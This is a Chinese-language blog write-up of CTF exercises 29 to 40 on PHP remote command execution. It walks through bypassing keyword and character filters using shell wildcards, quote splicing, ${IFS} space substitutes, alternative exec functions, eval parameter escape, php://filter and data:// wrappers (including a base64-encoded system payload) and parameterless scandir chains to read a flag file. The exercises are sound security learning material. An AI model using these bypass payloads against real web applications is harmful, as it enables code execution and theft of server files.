远程命令执行第一天

29

image-20230508160259680

分析

preg_match() 函数可以返回 $pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索。

过滤了字符串flag

知识点:

1.linux通配符绕过:*匹配任意字符串/文本,包括空字符串。如 ls list -> ls l*. ?匹配任意一个字符(不在括号内时)

2.[abcd]正则 表示匹配[ ] 里的任何一个字符abcd

3.[a-z] 匹配a-z的任意字符

4.拼接字符串cat file.txt == ca't' f'i'le.txt

5.换行符绕过:cat file.txt = cat f\ile.txt

最终palyload: ?c=system('cat f*');

法一

传入参数 url/?c=system("ls");

可以看见

image-20230508160444340

我们可以改变参数?c=system("cat f*");模糊匹配来达到我们的目的

切记这个命令要返回原来的页面进行输入而不是直接在ls之后的页面输入

法二 原理?

字符串拼接

url/?c=system("echo `nl fl''ag.php`");

查看源码,注意markdown反引号隐蔽

法三

利用反引号``执行命令,表示先执行命令ls,再执行命令cat

url/?c=system("cat `ls`"); 有ls出现只有一个文件才能成功

30

image-20230508162111312

分析

禁用了system这个命令执行函数但是我们还有几个常用的函数可以实现一样的功能

system() : passthru() : exec() :shell_exec() :popen() :proc_open() :pcntl_exec() 反引号 同shell_exec():

image-20230508191550137

image-20230508191608275

image-20230508191620359

image-20230508191633040

以上可得palyload:?c=passthru('cat f*'); 或者c=echo `cat f*`;
c=`cp fla?.??? 1.txt`;  ?作为占位符,将其保存在1.txt中,输入后访问1.txt即可出现flag

要查看网页源代码

image-20230508192237795

31

image-20230508192434641

#过滤了空格,小数点,升序函数,以及一个查看的命令

分析

知识点:

在linux 空格可以用以下字符串代替: %09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等
在linux中与cat有类似功能的有如下字符 cat,tac,more,less,head,tail,nl,sed,sort,uniq,rev ,/**/,%09太多了随便找个替换
法一:hint
url/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
array用于创建数组
array_reverse将数组倒序输出
pos函数返回数组中当前元素(指针指向)的值
scandir函数返回指定目录中的文件和数组//ls
next将指针指向数组的下一个元素并输出
show_source对文件进行语法高亮显示,是highlight_file()别名//相当于cat
localeconv() 函数返回一包含本地数字及货币格式信息的数组。第一个参数返回. pos指向之后返回了.   ls .或 ls ./ 代表显示当前目录的文件
next可以多重嵌套以达到读取多个文件的操作

法二:构造新的执行点
给c传eval($_GET[a])进去,再给a输入代码执行,相当于a逃逸不受过滤控制。这样就不会被过滤了
url/?c=eval($_GET[a]);&a=system(“ls”) 有flag.php
?c=eval($_GET[1]);&1=system("cat flag.php");

image-20230508194331583

最关键是禁用了分号导致无法使用php的一段函数

image-20230508194859568

image-20230508194908451

image-20230508194921349

image-20230508194931700

image-20230508194940949

image-20230508194949977

image-20230508194958226

image-20230508195006752

image-20230508195014766

image-20230508195029400

image-20230508195042571

image-20230508195050615

img

1.<php? include$_POST[a] ?> 使用?> 闭合php,在里面构造一个新的POST请求,我们在数据post部分调用构造出的a。

2.php伪协议:

php://filter/read=convert.base64-encode/resource=*** 进行文件读取

payload: ?c=include$_POST[a]?> post传参 a= php://filter/read=convert.base64-encode/resource= flag.php

payload: ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

得到base64编码的flag

33

image-20230508202111316

payload: ?c=require$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

34

image-20230508202720257

echo print isset unset include require 这几个常用 的语言结构不需要括号

?c=print$_GET[a]?>&a=phpinfo(); 只会输出 phpinfo(); 只是作为一个字符串写入,在数据段不在代码段

还是用include

一直到三十六都是一个解法

37

image-20230508210747982

把eval换成了include 这个函数会包含文件内容。

知识点:伪协议

file://协议
用于访问本地文件系统,在CTF中通常用来读取本地文件
示例:http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
php://协议
php:// 访问各个输入/输出流,在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码
示例1:php://filter/read=convert.base64-encode/resource=[文件名]
示例2:http://127.0.0.1/include.php?file=php://input [POST DATA部分]
data://协议
通常可以用来执行PHP代码
示例1:http://127.0.0.1/include.php?file=data://text/plain,
示例2:http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B

data://text/plain, 将内容封装成一个文件,后半部分为写入的数据,可以构造命令执行,把执行后的结果经过data数据流封装,再传递给include进行读取。

payload: ?c=data:text/plain,<?= system('tac f*');?> 

38

过滤了flag php file

还是用data伪协议,php改为=

终于知道hint里那一串base64编码哪来的了

?c=data://text/plain, system("cat fl*");?>

base64编码就是

PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/PiA=

可骗过过滤

所以也可以用一般的data伪协议 url/?c=

data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/PiA= 看源码即可

39同理

40

image-20230508213312083

这次过滤了很多东西前面的都不能用了,但是他给出了一个eval函数.可以使用无参rce

知识点:
print_r(scandir(‘.’)); 查看当前目录下的所有文件名
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名

打印当前目录文件:
?c=print_r(scandir(current(localeconv())));

img

flag.php在下标为3的数组里,current默认读取第一个元素值所以用到以下知识点:

each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组

最终payload: ?c=show_source(next(array_reverse(scandir(getcwd()))));(指针向前.flag变成3,经过倒序flag变成0就是第一位。所以读取成功)
posted on 2023-05-24 16:38  vaneshadow  阅读(14)  评论(0)    收藏  举报